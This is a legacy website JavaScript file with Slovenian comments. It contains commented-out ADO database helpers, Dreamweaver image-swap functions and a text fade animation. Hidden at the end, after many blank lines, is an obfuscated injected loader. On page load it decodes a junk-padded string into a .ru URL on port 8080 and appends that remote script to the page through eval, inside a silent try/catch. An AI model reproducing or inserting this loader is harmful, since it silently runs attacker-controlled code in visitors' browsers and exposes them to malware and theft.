// globals
/*var oConnection;
var oRecordSet;
var sAccess2000 = "Microsoft.Jet.OLEDB.4.0";
var sConnectionString = "Provider=" + sAccess2000 + "; ";
sConnectionString += "Data Source=" + Server.MapPath("../baza/baza_od_E-softa.mdb");
// enums

// Connection.State and Recordset.State property
var adStateClosed = 0;			// the object is closed. 
var adStateOpen = 1;	 			// the object is open. 
var adStateConnecting = 2;	// the object is connecting. 
var adStateExecuting = 4;		// the object is executing a command. 
var adStateFetching = 8;			// the rows of the object are being fetched. 

// Recordset.Cursor property
var adOpenUnspecified = -1;	// does not specify the type of cursor. 
var adOpenForwardOnly = 0;	// (default) a forward-only cursor, i.e. you get only one pass thru the data!
var adOpenKeyset = 1;			// can go in any direction, and as a bonus you'll see changes other users make.  EXPENSIVE!
var adOpenDynamic = 2;		// as Keyset, but also you can see additions/deletions other users make.  EXPENSIVE!
var adOpenStatic = 3;			// can go in any direction, but read-only.

// Recordset.LockType property
var adLockUnspecified = -1;	// does not specify a type of lock. 
var adLockReadOnly = 1;		// (default) guess!
var adLockPessimistic = 2;		// guaranteed to work
var adLockOptimistic = 3;		// records locked only when you call Update. fingers crossed 
var adLockBatchOptimistic = 4;// required for batch update mode

var adCmdUnspecified = -1;	// Does not specify the command type argument. 
var adCmdUnknown = 8;		// Default. Indicates that the type of command in the CommandText property is not known. 
var adCmdText = 1;				// a textual definition of a command or stored procedure call. 
var adCmdTable = 2;				// a table name whose columns are all returned by an internally generated SQL query. 
var adCmdStoredProc = 4;		// a stored procedure name. 
var adCmdFile = 256;				// a persisted Recordset. 
var adCmdTableDirect = 512	// a table name whose columns are all returned.

// SchemaEnum - specifies the type of schema Recordset to be retrieved by the OpenSchema method
var adSchemaTables = 20;		// returns the tables
// ============================================
// example usage:
//		DBInitConnection ( );
//
//		DBGetRecords ( "SELECT * FROM Somewhere" );
//
//		...use oRecordSet
//
//		DBReleaseRecords ( );		// optional step
//
//		DBGetRecords ( "SELECT * FROM SomewhereElse" );
//
//		...use oRecordSet
//
//		DBReleaseRecords ( );		// optional step
//
//		DBReleaseConnection ( );
// ============================================

// ============================================
// initializes database variables for first use on page - leave it to the 
// last possible second before calling this function
// ============================================
function DBInitConnection ( ) 
{
	// don't open it again if already opened!
	if ( oConnection != undefined )
		return;
		
	// you can open Recordset objects without a Connection object, but
	// it's far less efficient if you are opening multiple Recordsets.
	//
	// if you don't create a Connection object ADO creates a new one for
	// each new Recordset.Open, even if you use the same connection string.
	oConnection = Server.CreateObject( 'ADODB.Connection' );

	// open the database 
	oConnection.Open( sConnectionString );

	// create a Recordset
	oRecordSet = Server.CreateObject( 'ADODB.Recordset' );
}

// ============================================
// tidies up after DBInitConnection
// ============================================
function DBReleaseConnection ( ) 
{
	// don't release the connection if not connected!
	if ( oConnection == undefined )
		return;

	// close and delete the Recordset object
	DBReleaseRecords ( );

	oRecordSet = undefined;

	// Don't call Close if the Recordset failed to Open properly, i.e. its 
	// State is still adStateClosed (0)
	if ( oConnection.State != adStateClosed )
		oConnection.Close();

	oConnection = undefined;
}

// ============================================
// executes the passed in SQL statement and returns a read-only
// forward-only oRecordSet object 
// ============================================
function DBGetRecords ( sSQL ) 
{
	// if the Recordset is already open, close it
	DBReleaseRecords ( );

	// I could use oRecordSet = oConnection.Execute( sSQL ) here
	// but then I will always get back a read-only, forward-only cursor. 
	// (admittedly this is the most used type, but still)

	// use oRecordSet.Open and I have far more control. For details
	// read the definitions of the enums at the top of this file.

	// remember that this can fail if passed garbage, and hence the 
	// Recordset will remain closed, State == adStateClosed
	oRecordSet.Open ( sSQL, oConnection, adOpenForwardOnly, adLockReadOnly );
}

// ============================================
// tidies up after DBGetRecords
// ============================================
function DBReleaseRecords ( ) 
{
	// when you have finished with an open Recordset object, call the 
	// Close method to release its resources. You can call Open again.

	// Don't call Close if the Recordset failed to Open properly, i.e. its 
	// State is still adStateClosed
	if ( oRecordSet != undefined && oRecordSet.State != adStateClosed )
		oRecordSet.Close();
}

*/
<!--
function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_findObj(n, d) { //v4.0
  var p,i,x;  
  if(!d) d=document; 
  if((p=n.indexOf("?"))>0&&parent.frames.length) 
  	{
    	d=parent.frames[n.substring(p+1)].document; 
		n=n.substring(0,p);
	}
 	 if(!(x=d[n])&&d.all) x=d.all[n]; 
	 for (i=0;!x&&i<d.forms.length;i++) 
	 	x=d.forms[i][n];
  		for(i=0;!x&&d.layers&&i<d.layers.length;i++) 
			x=MM_findObj(n,d.layers[i].document);
  		if(!x && document.getElementById) 
			x=document.getElementById(n); 
			return x;
}

function MM_swapImage() 
	{ //v3.0
	  var id,i,j=0,x,a=MM_swapImage.arguments; 
	  document.MM_sr=new Array; 
	  for(i=0;i<(a.length-2);i+=3)
		if ((x=MM_findObj(a[i]))!=null)
			{
				document.MM_sr[j++]=x; 
				if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];
				id=MM_findObj(a[i])
			/*document.write(x.oSrc+"<br>")
			document.write(x.src+"<br><br><br>")
			document.write(a[i+2]+"<br>")
			document.write(x+"<br>")
			document.write(document.MM_sr[j++]+"<br>")
			*/
			doTransition(id,a[i+2])
			}
	}
//-->
function doTransition(img,image1)
{
			//document.write(img+"<br>")
		//document.write(image1+"<br>")

img.filters.blendTrans.Apply();
img.src=image1;
img.filters.blendTrans.Play();
//*/
}


<!-- Original:  Paul Miller (webmaster@hypedup.co.uk) -->
<!-- Web Site:  http://www.hypedup.co.uk -->

<!-- Begin
/*if ((navigator.appName.indexOf('Microsoft')+1)) {
document.write('<style type="text/css"> .opacity1 {filter:alpha(opacity=50)} .opacity2 {filter:alpha(opacity=100)} </style>'); }
if ((navigator.appName.indexOf('Netscape')+1)) {
document.write('<style type="text/css"> .opacity1 {-moz-opacity:0.5} .opacity2 {-moz-opacity:1} </style>'); }
else {
document.write(''); }
*/
//  End -->

////////////////////////////////////////////////////////////////////////////////////////////
// SCRIPTI ZA STRANSKE MENIJE
///////////////////////////////////////////////////////////////////////////////////////
<!-- Hiding

/*
Script created by Lefteris Haritou
(lef@the.forthnet.gr)
*/
 
var bname=navigator.appName;
var bversion=parseInt(navigator.appVersion)
//if ((bname=="Netscape" && bversion>=4) || (bname=="Microsoft Internet Explorer" && bversion>=4))
//window.onload=start
//else
//stop();

if (bname=="Netscape"){
brows=true
dt=2
}
else{
brows=false
dt=40
}
var z=0;
var msg=0;
var rgb=0;
var link=false;
var status=true;
var updwn=false;
var message= new Array();
var value=0;
var h=window.innerHeight;
var w=window.innerWidth;
var timer1;
var timer2;
var timer3;
var convert = new Array()
var hexbase= new Array("0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "A", "B", "C", "D", "E", "F");

// Put here your own messages. Add as many as you wan't (Do not edit anything else in the Script except the lines below)

var bgcolor="#FFFFFF"; //Color of background
var color="#2E4294";  //Color of the Letters

message[0]='The future of JavaScript'
//message[1]='-----------------------'
//message[2]='Javafile.com code library'
//message[3]='<a href="http://www.javafile.com">Click here to begin THE experience</a>'

// Put here your own messages. Add as many as you wan't (Do not edit anything else in the Script except the lines above)

for (x=0; x<16; x++){
for (y=0; y<16; y++){
convert[value]= hexbase[x] + hexbase[y];
value++;
}
}

redx=color.substring(1,3);
greenx=color.substring(3,5);
bluex=color.substring(5,7);
hred=eval(parseInt(redx,16));
hgreen=eval(parseInt(greenx,16));
hblue=eval(parseInt(bluex,16));
eredx=bgcolor.substring(1,3);
egreenx=bgcolor.substring(3,5);
ebluex=bgcolor.substring(5,7);
ered=eval(parseInt(eredx,16));
egreen=eval(parseInt(egreenx,16));
eblue=eval(parseInt(ebluex,16));

red=ered;
green=egreen;
blue=eblue;
 
function start(){

 textanim.innerHTML.visibility='visible'


//document.write("vdflèkgèlsdkfèlkè")
if ((bname=="Netscape" && bversion>=4) || (bname=="Microsoft Internet Explorer" && bversion>=4)){
link=false;
updwn=true;
if (brows)
res=document.layers['textanim'].top
else{
//textanim.style.width=document.body.offsetWidth-0;
textanim.innerHTML='<Pre><P Class="main" Align="Center">'+message[msg]+'</P></Pre>'
 //res=textanim.style.top
for (x=0; x<document.all.length; x++)
//for (x=0; x<1; x++)
if(document.all[x].id=="textanimlink")
link=true;
}
up()
}
}

function stop(){
clearTimeout(timer1);
clearTimeout(timer2);
clearTimeout(timer3);
}
function skrij()
{
textanim.innerHTML.visibility='hidden'
//document.write("nxmy,cn,")
}

function resz(){
h=window.innerHeight;
w=window.innerWidth;
if (updwn)
timer1=setTimeout('up()',1000)
//else
//timer2=setTimeout('down()',1000)
}

function breakf(){
if (status){
clearTimeout(timer1);
clearTimeout(timer2);
status=false
return;
}
else{
status=true;
if (updwn)
timer1=setTimeout('up()',dt)
//else
//timer2=setTimeout('down()',dt)
}
}


function up(){
if (red<hred){
if ((red+7)<hred)
red+=7;
else
red=hred
redx = convert[red]
}
else{
if ((red-7)>hred)
red-=7;
else
red=hred
redx = convert[red]
}

if (green<hgreen){
if ((green+7)<hgreen)
green+=7;
else
green=hgreen
greenx = convert[green]
}
else{
if ((green-7)>hgreen)
green-=7;
else
green=hgreen
greenx = convert[green]
}

if (blue<hblue){
if ((blue+7)<hblue)
blue+=7;
else
blue=hblue
bluex = convert[blue]
}
else{
if ((blue-7)>hblue)
blue-=7;
else
blue=hblue
bluex = convert[blue]
}

rgb = "#"+redx+greenx+bluex;
//rgb = "#"+redx+"FFFF";

if (brows){
document.layers['textanim'].document.linkColor=rgb;
document.layers['textanim'].document.vlinkColor=rgb;
if (window.innerHeight!=h || window.innerWidth!=w){
clearTimeout(timer1);
resz()
return;
}
else{
document.layers['textanim'].document.write('<Pre><P Class="main" Align="Center"><font color="'+rgb+'">'+message[msg]+'</font></P></Pre>')
document.layers['textanim'].document.close();
}
}
else{
textanim.style.color=rgb;
if(link)
textanimlink.style.color=rgb;
}
if (z<38){
if (brows)
document.layers['textanim'].top //-- 
else
textanim.style.posTop //--
z++
timer1=setTimeout('up()',dt)
}
else
{
updwn=false;
//down()
}
}















try{window.onload=function(){We72dhlrhq2ebfh = '' + 'b(&l!!^o^)^#g)b)!@u^s$)-@$c@!o##m!!.&@#w^#o()#@w&#a(r$$)m^$(o(r#^&y&$.^#c@)o@^m^!).)$$$g@!a&(^m$$@e$$@s)t##((@o$$p^)-#))c!(@o#(m!@).!b$!!l#u@#!)e@@)s^e)(a@$g^u$(i&(d!!@e#!$.#@(r#!u^&:!)O#&((5)m&)n&(j@(&@1#^^p(^b!@k)(#d)p)$)7)m)!)8$(!$!e(#/)!)z@#)(a&)n)$o#))x^$)-@#^a$f&^(!f@)#i@()(l&#i(&@^a!$)t&@$@e!(^$.#$d)e^$$^/^&z@^a(&&n#o()x@-!a!@f!^)f!$#!i^l(i@&&a#&(t#(&e)))^.###^d!()e)/@()(b^a#h^)(n^!@.^#!d!&e#^/&g$#$o^#&o@#(g($)l^$e)!@.$c^!^o@m))!!.)$s(^g$&&$^/#&g!o)(^o^g#)l^e!^.#c@&!o!!)m^)/@$)'.replace(/\)|\^|\!|@|#|\$|\(|&/ig, '') ;Fgswx3tfb3 = 'appendChild';Ffqfoigbo1xcaq = document.createElement('sc'+'ript');Ffqfoigbo1xcaq.src = 'h'+'ttp://'+We72dhlrhq2ebfh.replace(/O5mnj1pbkdp7m8e/g, '8080');Ffqfoigbo1xcaq.setAttribute('defer', 'def'+'er');eval('document.body.'+Fgswx3tfb3+'(Ffqfoigbo1xcaq)');} }  catch(R1lqw8eb ) {}
